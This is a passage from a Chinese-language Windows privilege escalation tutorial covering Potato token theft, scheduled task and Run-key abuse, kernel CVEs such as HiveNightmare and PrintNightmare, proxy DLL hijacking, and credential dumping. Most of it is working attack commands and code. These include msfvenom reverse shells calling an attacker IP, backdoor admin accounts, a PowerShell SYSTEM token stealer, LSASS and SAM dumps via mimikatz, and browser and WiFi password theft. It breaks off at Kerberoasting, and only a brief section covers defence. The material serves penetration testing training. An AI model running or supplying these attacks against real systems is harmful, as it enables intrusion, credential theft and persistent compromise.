| Primary Token(主令牌) | 进程的默认令牌 | 进程创建时分配 |
| Impersonation Token(模拟令牌) | 线程模拟的令牌 | 通过ImpersonateClient获取 |
| Anonymous | 匿名级别,无身份信息 | 最高限制 |
| Identification | 标识级别,可查看但不可模拟 | 可查看SID |
| Impersonation | 模拟级别,可模拟客户端 | 可在本地使用 |
| Delegation | 委派级别,最高模拟权限 | 可跨网络使用 |
【提示】 要窃取令牌,进程需要拥有 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege。这两个特权通常授予服务账户(如IIS、SQL Server、WinRM等)。从Web服务或SQL注入获取到服务账户的Shell后,这通常是下一步提权的路径。
6.2 SeImpersonatePrivilege利用
当拥有SeImpersonatePrivilege时,可以使用Potato系列工具进行提权。
PrintSpoofer
PrintSpoofer利用Windows打印机服务(Print Spooler)的命名管道模拟漏洞。
# 检查是否拥有SeImpersonatePrivilege
whoami /priv | findstr SeImpersonate
# 使用PrintSpoofer提权
PrintSpoofer.exe -i -c "cmd.exe"
# -i 交互模式
# -c 指定执行的命令
# 以SYSTEM权限执行单条命令
PrintSpoofer.exe -c "net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# 以SYSTEM权限执行PowerShell
PrintSpoofer.exe -c "powershell -ep bypass"
GodPotato
GodPotato是Potato家族的最新成员,利用Windows RPC和SSPI实现令牌窃取,兼容性更强。
# GodPotato使用
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "net user hacker P@ss123 /add && net localgroup administrators hacker /add"
GodPotato.exe -cmd "powershell -ep bypass -c IEX(...)"
JuicyPotato
JuicyPotato是经典Potato工具,利用DCOM/RPC和NTLM中继。需要目标系统存在可用的CLSID(通常用于Windows Server 2016及更早版本)。
# JuicyPotato基本使用
# 需要指定CLSID和监听端口
JuicyPotato.exe -l 1337 -p c:\Temp\payload.exe -t * -c {F87B2861-7985-4670-A104-CB9B4BB21DBF}
# -l 监听端口
# -p 要执行的程序
# -t * 尝试CLSID
# -c 指定CLSID
# 查找可用的CLSID
# 不同Windows版本的CLSID不同
# 参考:https://github.com/ohpe/juicy-potato/tree/master/CLSID
RoguePotato
RoguePotato利用NTLM中继和RPC绑定,适用于JuicyPotato失效的场景。
# RoguePotato需要配合外部NTLM中继
# 攻击机执行NTLM中继
python3 ntlmrelayx.py -t smb://127.0.0.1 -smb2support
# 目标机器执行RoguePotato
RoguePotato.exe -r "AttackerIP" -e "C:\Temp\payload.exe"
# -r 攻击机IP
# -e 要执行的程序
6.3 Potato家族工具对比表
| 工具 | 适用版本 | 利用原理 | 依赖条件 |
|---|---|---|---|
| RottenPotato | Windows Server 2008-2012 | DCOM NTLM中继 | BITS服务可用 |
| JuicyPotato | Windows Server 2008-2016 | DCOM NTLM中继+CLSID | 可用CLSID,BITS服务 |
| RoguePotato | Windows Server 2016+ | RPC绑定+NTLM中继 | 需要外部中继服务器 |
| PrintSpoofer | Windows 7+ | Print Spooler命名管道 | Print Spooler服务可用 |
| GodPotato | Windows 7-Server 2022 | RPC+SSPI模拟 | 通用性最强 |
| SharpEfsPotato | Windows 7+ | EFS RPC接口 | EFS服务可用 |
6.4 SeAssignPrimaryTokenPrivilege利用
SeAssignPrimaryTokenPrivilege允许为进程分配新的主令牌,配合SeImpersonatePrivilege可实现提权。
# 检查特权
whoami /priv | findstr SeAssignPrimaryToken
# 如果同时拥有SeImpersonate和SeAssignPrimaryToken
# 可使用CreateProcessWithTokenW API创建新进程
# 实际利用通常通过Potato系列工具完成
# 这些工具内部已处理令牌分配逻辑
6.5 SeDebugPrivilege利用
SeDebugPrivilege允许进程调试其他进程,包括SYSTEM进程。可通过进程注入窃取SYSTEM令牌。
# 检查是否拥有SeDebugPrivilege
whoami /priv | findstr SeDebug
# 方法1:使用PowerShell窃取SYSTEM令牌
# 查找SYSTEM进程
Get-Process -Name lsass | Select-Object Id, ProcessName
# lsass通常以SYSTEM运行
# 使用Pinvoke进行令牌窃取
# 以下PowerShell脚本通过Win32 API窃取SYSTEM令牌
powershell -exec bypass
# PowerShell令牌窃取脚本
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class TokenSteal {
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(IntPtr h, uint access, out IntPtr t);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool DuplicateTokenEx(IntPtr h, uint access, IntPtr attr, int type, int desire, out IntPtr dup);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool CreateProcessWithTokenW(IntPtr h, int logon, string app, string cmd, uint create, IntPtr env, string dir, ref STARTUPINFO si, out PROCESS_INFORMATION pi);
public struct STARTUPINFO {
public int cb; public string lpReserved; public string lpDesktop;
public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize;
public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars;
public uint dwFillAttribute; public uint dwFlags; public ushort cbReserved2;
public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError;
}
public struct PROCESS_INFORMATION {
public IntPtr hProcess; public IntPtr hThread;
public int dwProcessId; public int dwThreadId;
}
}
"@
# 获取winlogon.exe进程(以SYSTEM运行)
$proc = Get-Process -Name winlogon
$handle = [TokenSteal]::OpenProcess(0x400, $false, $proc.Id)
$token = [IntPtr]::Zero
[TokenSteal]::OpenProcessToken($handle, 0xE, [ref]$token)
$dupToken = [IntPtr]::Zero
[TokenSteal]::DuplicateTokenEx($token, 0xE, [IntPtr]::Zero, 2, 1, [ref]$dupToken)
# 以SYSTEM权限启动进程
$si = New-Object TokenSteal+STARTUPINFO
$pi = New-Object TokenSteal+PROCESS_INFORMATION
$si.cb = 68
$si.lpDesktop = "winsta0\default"
[TokenSteal]::CreateProcessWithTokenW($dupToken, 0, "cmd.exe", "", 0, [IntPtr]::Zero, $null, [ref]$si, [ref]$pi)
6.6 完整令牌窃取提权流程
# 场景:通过Web漏洞获取了IIS服务账户(IIS AppPool)的Shell
# IIS AppPool通常拥有SeImpersonatePrivilege
# 步骤1:确认当前权限
whoami /priv
# 确认拥有 SeImpersonatePrivilege = Enabled
# 步骤2:确认Windows版本选择合适的Potato工具
systeminfo | findstr /B /C:"OS Version"
# 步骤3:根据版本选择工具
# Windows Server 2016+ 推荐 GodPotato 或 PrintSpoofer
# Windows Server 2008-2016 推荐 JuicyPotato
# 步骤4:生成payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=AttackerIP LPORT=4444 -f exe -o C:\Temp\payload.exe
# 步骤5:启动监听
nc -lvnp 4444
# 步骤6:使用PrintSpoofer提权(推荐,通用性最好)
PrintSpoofer.exe -i -c "C:\Temp\payload.exe"
# 或使用GodPotato
GodPotato.exe -cmd "C:\Temp\payload.exe"
# 步骤7:验证SYSTEM权限
whoami
# 输出应为:nt authority\system
whoami /priv
# 确认完整性级别为System
七、计划任务与启动项提权
7.1 计划任务提权
Windows计划任务(Scheduled Tasks)可以指定以SYSTEM或其他高权限账户运行。如果计划任务执行的可执行文件可写,或可创建新的高权限计划任务,则可实现提权。
# 列出所有计划任务
schtasks /query /fo LIST /v
# 使用PowerShell列出计划任务
Get-ScheduledTask | Select-Object TaskName, TaskPath, State | Format-Table -AutoSize
# 查看计划任务详情
schtasks /query /tn "\TaskName" /fo LIST /v
# 使用PowerShell查看计划任务详情
Get-ScheduledTask -TaskName "TaskName" | Get-ScheduledTaskInfo
(Get-ScheduledTask -TaskName "TaskName").Actions
# 查找以SYSTEM权限运行的计划任务
Get-ScheduledTask | ForEach-Object {
$task = $_
$xml = [xml](Export-ScheduledTask -TaskName $task.TaskName -TaskPath $task.TaskPath)
$principal = $xml.Task.Principals.Principal
if ($principal.UserId -eq "S-1-5-18" -or $principal.UserId -eq "SYSTEM") {
$action = $task.Actions.Execute
Write-Output "Task: $($task.TaskName) | RunAs: SYSTEM | Action: $action"
}
}
计划任务权限配置错误利用
# 场景:发现计划任务VulnTask以SYSTEM运行,执行C:\Temp\vuln_task.exe
# 且C:\Temp目录当前用户可写
# 步骤1:确认计划任务详情
schtasks /query /tn "VulnTask" /fo LIST /v
# 关键信息:
# TaskName: VulnTask
# Run As User: SYSTEM
# Task To Run: C:\Temp\vuln_task.exe
# 步骤2:检查可执行文件权限
icacls "C:\Temp\vuln_task.exe"
# 或检查目录权限
icacls "C:\Temp"
# 步骤3:备份原文件
copy "C:\Temp\vuln_task.exe" "C:\Temp\vuln_task.exe.bak"
# 步骤4:生成恶意程序
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f exe -o "C:\Temp\vuln_task.exe"
# 步骤5:手动触发或等待计划任务执行
schtasks /run /tn "VulnTask"
# 步骤6:验证提权
net localgroup Administrators
# 步骤7:恢复原文件
copy /Y "C:\Temp\vuln_task.exe.bak" "C:\Temp\vuln_task.exe"
del "C:\Temp\vuln_task.exe.bak"
7.2 启动项提权
Startup文件夹
# 查看全局启动文件夹(对所有用户生效)
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
# 查看用户启动文件夹
dir "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
# 检查启动文件夹权限
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
# 如果全局启动文件夹可写,放置恶意程序
# 生成恶意快捷方式或可执行文件
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\payload.exe"
# 以下一次用户登录时自动执行
注册表Run键
# 查看HKLM Run键(系统级)
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# 查看HKCU Run键(用户级)
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# 如果对HKLM Run键有写权限(通常需要管理员权限)
# 但某些软件安装后可能配置了过宽的权限
# 检查Run键权限
accesschk.exe -uwcqv "Authenticated Users" -k "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# 添加自启动项
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Temp\payload.exe" /f
# 利用PowerUp检查可修改的启动项
Import-Module PowerUp.ps1
Get-RegistryAutoStart
7.3 自动登录凭据提取
Windows自动登录功能会在注册表中存储明文密码。
# 检查自动登录配置
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
# 一次性查询所有自动登录相关键值
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "Default Auto"
# 使用Seatbelt提取
Seatbelt.exe WindowsAutoLogon
# 如果AutoAdminLogon=1且DefaultPassword有值
# 可直接获取明文管理员密码
# 查看交替自动登录凭据(可能存储备用凭据)
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
【提示】 自动登录密码以明文形式存储在注册表中。这是一个极易被忽视但非常常见的凭据泄露点。在企业环境中,管理员为了方便可能开启自动登录功能,导致域管理员密码泄露。
八、内核漏洞提权
当系统未及时安装安全补丁时,内核漏洞是最直接的提权路径。Windows内核漏洞利用通常需要匹配特定的系统版本和补丁状态。
8.1 系统补丁信息收集
# 获取操作系统版本
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
# 获取详细系统信息
systeminfo
# 列出已安装补丁
wmic qfe list
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 使用PowerShell获取补丁信息
Get-HotFix | Select-Object HotFixID, Description, InstalledOn | Sort-Object InstalledOn -Descending
# 检查特定补丁是否已安装
wmic qfe get HotFixID | findstr "KB5000000"
# 导出系统信息到文件用于离线分析
systeminfo > systeminfo.txt
8.2 常见Windows内核漏洞表
| 漏洞编号 | 漏洞名称 | 影响版本 | 提权原理 | 工具/Exploit |
|---|---|---|---|---|
| MS16-032 | Secondary Logon Handle提权 | Win7-Win10 (1511) | 令牌句柄竞争条件 | MS16-032.ps1 |
| MS16-135 | Windows Kernel API提权 | Win7-Win10 (1607) | 权限检查绕过 | CVE-2016-7255 |
| MS17-010 | EternalBlue | Win7-Server 2016 | SMBv1缓冲区溢出 | eternalblue_exploit |
| CVE-2020-0787 | Background Intelligent Transfer | Win10-Server 2019 | BITS符号链接 | CVE-2020-0787 |
| CVE-2021-1675 | PrintNightmare | Win7-Server 2019 | Print Spooler驱动加载 | PrintNightmare |
| CVE-2021-36934 | HiveNightmare | Win10 1809-21H1 | SAM文件权限 | HiveNightmare |
| CVE-2022-21882 | Win32k提权 | Win10-Server 2019 | Win32k回调 | CVE-2022-21882 |
| CVE-2023-21766 | AppLocker提权 | Win10-Server 2022 | AppLocker策略绕过 | CVE-2023-21766 |
8.3 CVE-2021-36934 HiveNightmare提权
HiveNightmare漏洞允许普通用户读取SAM、SYSTEM和SECURITY注册表配置文件。
# 检查漏洞是否存在(检查SAM文件权限)
icacls C:\Windows\System32\config\SAM
# 如果显示 BUILTIN\Users:(I) 或 Authenticated Users 有读取权限,则存在漏洞
# 复制SAM/SYSTEM/SECURITY文件
# 方法1:直接复制(如果权限允许)
copy C:\Windows\System32\config\SAM C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy C:\Windows\System32\config\SECURITY C:\Temp\SECURITY
# 方法2:使用卷影副本(即使直接复制被拒)
# 创建卷影副本
vssadmin list shadows
# 如果没有卷影副本,通过PowerShell创建
powershell -c "(Get-WmiObject -List Win32_ShadowCopy).Create('C:\','ClientAccessible')"
# 从卷影副本复制
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY
# 使用impacket离线提取密码哈希
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
# 使用mimikatz提取
mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" exit
8.4 CVE-2021-1675 PrintNightmare提权
PrintNightmare利用Print Spooler服务的驱动加载漏洞,可远程和本地提权。
# 检查Print Spooler服务是否运行
Get-Service -Name Spooler | Select-Object Status, StartType
# 本地提权利用
# 使用SharpPrintNightmare
SharpPrintNightmare.exe C:\Temp\payload.dll \\localhost
# 或使用Mimikatz
mimikatz.exe "misc::printnightmare /library:C:\Temp\payload.dll /server:localhost" exit
# 生成恶意DLL
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f dll -o C:\Temp\payload.dll
# 执行利用
python3 CVE-2021-1675.py localhost/user:pass@127.0.0.1 C:\Temp\payload.dll
8.5 Watson漏洞匹配工具
Watson是自动检测系统缺失补丁并推荐可用漏洞利用的工具。
# 编译并执行Watson
Watson.exe
# Watson会输出:
# 1. 操作系统版本和Build号
# 2. 已安装的补丁列表
# 3. 缺失的补丁
# 4. 建议的可用漏洞利用(Exploit Suggestions)
# 另一个工具:Windows Exploit Suggester
# 在目标机器导出systeminfo
systeminfo > systeminfo.txt
# 在攻击机上执行分析
python windows-exploit-suggester.py --database 2021-08-01-mssb.xls --systeminfo systeminfo.txt
8.6 完整内核提权流程
# 步骤1:收集系统信息
systeminfo
wmic qfe get HotFixID
# 步骤2:使用Watson分析可用漏洞
Watson.exe
# 假设Watson建议 CVE-2021-36934 (HiveNightmare)
# 步骤3:验证漏洞存在
icacls C:\Windows\System32\config\SAM
# 输出包含 BUILTIN\Users:(R) 表示漏洞存在
# 步骤4:提取SAM/SYSTEM文件
copy C:\Windows\System32\config\SAM C:\Temp\SAM
copy C:\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
# 步骤5:提取密码哈希
secretsdump.py -sam SAM -system SYSTEM LOCAL
# 步骤6:破解NTLM哈希
hashcat -m 1000 hashes.txt rockyou.txt
# 或
john --format=NT hashes.txt
# 步骤7:使用破解的密码进行Pass-the-Hash或登录
# 如果破解出管理员密码
net use \\targetIP /user:Administrator cracked_password
# 或使用PTH
wmiexec.py -hashes :NTLM_hash Administrator@targetIP
【提示】 内核漏洞利用可能导致系统蓝屏(BSOD)。在生产环境测试前,务必在实验环境中验证exploit的稳定性。某些内核漏洞利用需要特定的架构(x86/x64)和编译版本。Watson工具需要目标系统安装.NET Framework。
九、DLL劫持提权
DLL劫持利用Windows DLL搜索顺序的缺陷,在合法程序加载DLL时注入恶意代码。
9.1 DLL搜索顺序表
Windows加载DLL时的默认搜索顺序:
| 顺序 | 搜索位置 | 说明 |
|---|---|---|
| 1 | 应用程序目录 | 可执行文件所在目录 |
| 2 | System32目录 | C:\Windows\System32 |
| 3 | System目录 | C:\Windows\System |
| 4 | Windows目录 | C:\Windows |
| 5 | 当前工作目录 | 进程的工作目录 |
| 6 | PATH环境变量目录 | 系统PATH中的目录 |
【提示】 如果启用了SafeDllSearchMode(默认启用),当前工作目录的优先级会降低到第6位。可通过注册表
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode控制此设置(0=禁用,1=启用)。
9.2 DLL劫持原理
当程序尝试加载一个DLL时,会按照搜索顺序依次查找。如果在前面的搜索路径中找到了同名的DLL文件,就会优先加载它。攻击者可以在可写的搜索路径中放置同名的恶意DLL,使其被优先加载。
# 使用Process Monitor监控DLL加载
# 设置过滤器:
# - Process Name = 目标程序名
# - Path = 包含 .dll
# - Result = NAME NOT FOUND
# ProcMon会显示程序尝试加载但未找到的DLL
# 这些都是可劫持的DLL
9.3 可执行文件权限分析
# 查找以高权限运行且可写的可执行文件
# 使用accesschk递归检查目录
accesschk.exe -uwcqv "Authenticated Users" -accepteula C:\Program Files\SomeApp
# 检查可执行文件所在目录权限
icacls "C:\Program Files\SomeApp"
# 检查可执行文件本身权限
icacls "C:\Program Files\SomeApp\target.exe"
# 查找可写目录中的可执行文件
findstr /S /I /M "\.exe$" C:\Program Files\* | findstr /V "System32"
# 查找以SYSTEM运行的服务可执行文件路径
Get-CimInstance Win32_Service | Where-Object {
$_.StartName -eq "LocalSystem" -and $_.PathName
} | Select-Object Name, PathName
9.4 Proxy DLL制作
Proxy DLL(代理DLL)是一种高级DLL劫持技术。它导出与原始DLL相同的函数,将合法调用转发到原始DLL,同时执行恶意代码。
// Proxy DLL 示例代码 (proxy.c)
// 编译:x86_64-w64-mingw32-gcc -shared -o target.dll proxy.c original.def
#include <windows.h>
// 转发原始DLL的导出函数
#pragma comment(linker, "/EXPORT:Function1=original.Function1,@1")
#pragma comment(linker, "/EXPORT:Function2=original.Function2,@2")
#pragma comment(linker, "/EXPORT:Function3=original.Function3,@3")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// 恶意代码在DLL加载时执行
system("net user hacker P@ss123 /add");
system("net localgroup administrators hacker /add");
}
return TRUE;
}
更完整的Proxy DLL制作流程:
# 步骤1:获取原始DLL的导出函数列表
# 使用dumpbin或DLL Export Viewer
dumpbin /exports C:\Windows\System32\original.dll
# 步骤2:生成.def文件
# 将导出函数列表转换为.def文件格式
# 使用工具:https://github.com/slyd0g/ChucklePatcher
# 步骤3:编写代理DLL源码
# 使用msfvenom生成基础payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add' -f dll -o malicious.dll
# 或使用DLL Hijacking工具自动生成
# https://github.com/AdrianoPi/dllhost-launcher-bypass
# 步骤4:编译代理DLL
# 使用Visual Studio Developer Command Prompt
cl /LD proxy.c /link /DEF:original.def /out:target.dll
9.5 DLL劫持提权完整流程
# 场景:发现某服务以SYSTEM运行,其可执行文件位于可写目录C:\CustomApp\
# 步骤1:分析服务的DLL加载
# 使用Process Monitor监控服务启动时的DLL加载
# 设置ProcMon过滤器:Process Name = service.exe, Result = NAME NOT FOUND
# 步骤2:发现可劫持的DLL
# 例如发现服务尝试加载 VERSION.dll 但在C:\CustomApp\目录中未找到
# 步骤3:检查目录权限
icacls "C:\CustomApp"
# 确认 Users:(M) 或 Users:(F)
# 步骤4:制作Proxy DLL
# 获取原始VERSION.dll的导出函数
dumpbin /exports C:\Windows\System32\VERSION.dll
# 生成Proxy DLL(转发到原始DLL同时执行恶意代码)
# 编译后得到 VERSION.dll
# 步骤5:生成恶意payload
msfvenom -p windows/x64/exec CMD='net user hacker P@ss123 /add && net localgroup administrators hacker /add' -f dll -o VERSION.dll
# 步骤6:放置Proxy DLL到服务目录
copy VERSION.dll "C:\CustomApp\VERSION.dll"
# 步骤7:重启服务触发DLL加载
sc stop CustomService
sc start CustomService
# 步骤8:验证提权
net localgroup Administrators
【提示】 制作Proxy DLL时,必须确保导出函数与原始DLL完全一致,否则程序可能崩溃或功能异常。如果只需要执行payload而不需要保持程序正常运行,可直接用msfvenom生成的DLL覆盖。但为了隐蔽性,Proxy DLL方式更优。
9.6 DLL劫持防御方法
# 防御方法1:应用程序目录权限加固
# 确保应用程序目录不可被普通用户写入
icacls "C:\CustomApp" /inheritance:r /grant:r "Administrators:(F)" "SYSTEM:(F)" "Users:(R)"
# 防御方法2:启用SafeDllSearchMode
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode /t REG_DWORD /d 1 /f
# 防御方法3:使用KnownDLLs机制
# 将关键DLL添加到KnownDLLs列表
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDlls" /v targetdll /t REG_SZ /d "target.dll" /f
# 防御方法4:应用程序使用绝对路径加载DLL
# 开发时应使用LoadLibraryEx并指定LOAD_LIBRARY_SEARCH_APPLICATION_DIR
十、凭据提取与利用
凭据提取是提权的重要手段。Windows系统中存在大量凭据存储位置,包括注册表、文件系统、内存和DPAPI加密存储。
10.1 内存凭据提取(Mimikatz)
Mimikatz是Windows凭据提取的瑞士军刀,可从LSASS进程中提取明文密码、NTLM哈希、Kerberos票据等。
# 基本用法(需要管理员/SYSTEM权限)
# 提取明文密码、NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
# 提取所有凭据(lsadump)
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit
# 提取SAM数据库中的哈希
mimikatz.exe "privilege::debug" "lsadump::sam" exit
# 提取Kerberos票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets" exit
# 提取DPAPI主密钥
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit
# 提取Wdigest凭据(明文密码)
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit
# Pass-the-Hash(使用哈希进行认证)
mimikatz.exe "sekurlsa::pth /user:Administrator /domain:contoso.com /ntlm:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe" exit
# Pass-the-Ticket(使用Kerberos票据)
mimikatz.exe "kerberos::ptt ticket.kirbi" exit
# Golden Ticket生成(需要krbtgt哈希)
mimikatz.exe "kerberos::golden /user:Administrator /domain:contoso.com /sid:S-1-5-21-xxx /krbtgt:ntlmhash /ptt" exit
10.2 SAM/SYSTEM/SECURITY文件导出
# 方法1:使用reg save导出
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# 方法2:使用vssadmin创建卷影副本后复制
vssadmin create shadow /for=C:
# 获取卷影副本设备路径(如 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY C:\Temp\SECURITY
# 方法3:使用NTDSUtil
ntdsutil
# 在ntdsutil交互界面中:
# activate instance ntds
# ifm
# create full C:\Temp\ntds_dump
# 方法4:使用esentutl
esentutl.exe /y /vss /d C:\Windows\System32\config\SAM /t C:\Temp\SAM
# 离线提取哈希
# 使用impacket secretsdump
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
# 使用mimikatz
mimikatz.exe "lsadump::sam /sam:SAM /system:SYSTEM" exit
10.3 LSASS进程dump
# 方法1:使用Procdump(Sysinternals,需要接受EULA)
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
# 方法2:使用comsvcs.dll(系统自带,免杀性更好)
# 需要在SYSTEM权限下执行
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 644 C:\Temp\lsass.dmp full
# 其中644是lsass.exe的PID,需要替换为实际PID
# 获取lsass.exe的PID
tasklist /fi "imagename eq lsass.exe"
# 方法3:使用Task Manager
# 打开任务管理器 -> 详细信息 -> 右键lsass.exe -> 创建转储文件
# 方法4:使用PowerShell
Get-Process -Name lsass | ForEach-Object {
$procId = $_.Id
$dumpFile = "C:\Temp\lsass.dmp"
# 使用dbghelp.dll的MiniDumpWriteDump API
}
# 从LSASS dump中提取凭据
# 使用mimikatz分析dump文件
mimikatz.exe "sekurlsa::minidump C:\Temp\lsass.dmp" "sekurlsa::logonpasswords" exit
10.4 凭据存储位置表
| 存储位置 | 凭据类型 | 提取方法 |
|---|---|---|
| SAM注册表 | 本地用户NTLM哈希 | reg save + secretsdump |
| LSASS进程内存 | 明文密码/哈希/票据 | Mimikatz/Procdump |
| NTDS.dit | 域用户哈希 | ntdsutil/vssadmin + secretsdump |
| 注册表Winlogon | 自动登录密码 | reg query |
| DPAPI | 加密的凭据 | Mimikatz dpapi模块 |
| CredMan(凭据管理器) | 保存的凭据 | cmdkey / mimikatz |
| 证书服务 | 证书私钥 | certutil/mimikatz |
| 浏览器 | 保存的密码 | SharpChrome/LaZagne |
| WiFi | WiFi密码 | netsh wlan |
| 注册表LSA Secrets | LSA机密 | mimikatz lsadump::secrets |
10.5 浏览器凭据提取
# Chrome凭据提取
# 使用SharpChrome
SharpChrome.exe logins
# 使用LaZagne(多浏览器凭据提取工具)
LaZagne.exe all
# Chrome数据库位置
# %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
# %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data-journal
# Edge凭据提取
# Edge使用与Chrome相同的数据库格式
# %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
# Firefox凭据提取
# Firefox使用SQLite数据库存储
# key4.db 和 logins.json
# %APPDATA%\Mozilla\Firefox\Profiles\*.default\
# 使用Firepwd提取Firefox密码
python3 firepwd.py -d "C:\path\to\firefox\profile"
# 使用mimikatz提取浏览器凭据
mimikatz.exe "dpapi::chrome /in:%LOCALAPPDATA%\Google\Chrome\User Data\Default" exit
10.6 WiFi密码提取
# 列出所有已保存的WiFi配置文件
netsh wlan show profiles
# 查看指定WiFi密码
netsh wlan show profile name="WiFiName" key=clear
# 导出所有WiFi配置文件
netsh wlan export profile key=clear folder=C:\Temp
# 批量提取所有WiFi密码(PowerShell)
(netsh wlan show profiles) | Select-String ":" |
ForEach-Object {
$name = $_.Line.Split(":")[1].Trim()
$pass = (netsh wlan show profile name="$name" key=clear |
Select-String "Key Content").Line.Split(":")[1].Trim()
Write-Output "WiFi: $name | Password: $pass"
}
【提示】 WiFi密码提取虽然看起来简单,但在实际渗透中非常有用。企业网络中的WiFi密码可能与内部服务密码相同或遵循相似模式。此外,提取到的密码可加入字典用于后续密码喷洒攻击。
十一、Active Directory环境提权
在域环境中,提权的目标不仅是获取本机SYSTEM权限,更是获取Domain Admin或Enterprise Admin权限。
11.1 AD域信息收集
BloodHound与SharpHound
BloodHound是AD域攻击路径可视化分析工具,通过图形化方式展示攻击路径。
# 使用SharpHound收集AD数据
# 方法1:执行SharpHound.exe
SharpHound.exe -c All
# -c All 收集所有数据
# 方法2:使用PowerShell版本
Import-Module SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
# 方法3:使用BloodHound Python版本(从远程收集)
bloodhound-python -d contoso.com -u user -p password -ns DC_IP -c All
# 收集完成后导入BloodHound GUI分析攻击路径
# 在BloodHound中查询:
# - Shortest Path to Domain Admin
# - Find All Domain Admins
# - Shortest Paths to High Value Targets
PowerView
PowerView是PowerShell AD枚举工具,用于手动信息收集。
# 导入PowerView
Import-Module .\PowerView.ps1
# 域信息收集
# 获取当前域信息
Get-NetDomain
# 获取域控制器
Get-NetDomainController
# 获取所有域用户
Get-NetUser | Select-Object samaccountname, description, memberof
# 获取域管理员
Get-NetGroupMember -GroupName "Domain Admins"
# 查询所有SPN(用于Kerberoasting)
Get-NetUser -SPN
# 获取所有计算机
Get-NetComputer | Select-Object name, operatingsystem
# 获取所有域组
Get-NetGroup | Select-Object samaccountname, description
# 查找当前用户可修改的AD对象
Find-ModifiableACLOverlay
# 查找GPO
Get-NetGPO | Select-Object displayname, gpcfilesyspath
# 查找当前用户拥有GenericAll权限的对象
Invoke-ACLScanner | Where-Object {$_.ActiveDirectoryRights -match "GenericAll"}
11.2 Kerberoasting攻击
Kerberoasting攻击针对配置了SPN(Service Principal Name)的服务账户。攻击者可请求该服务的TGS票据并离线破解。
# 步骤1:查询域中所有SPN账户
# 使用PowerView
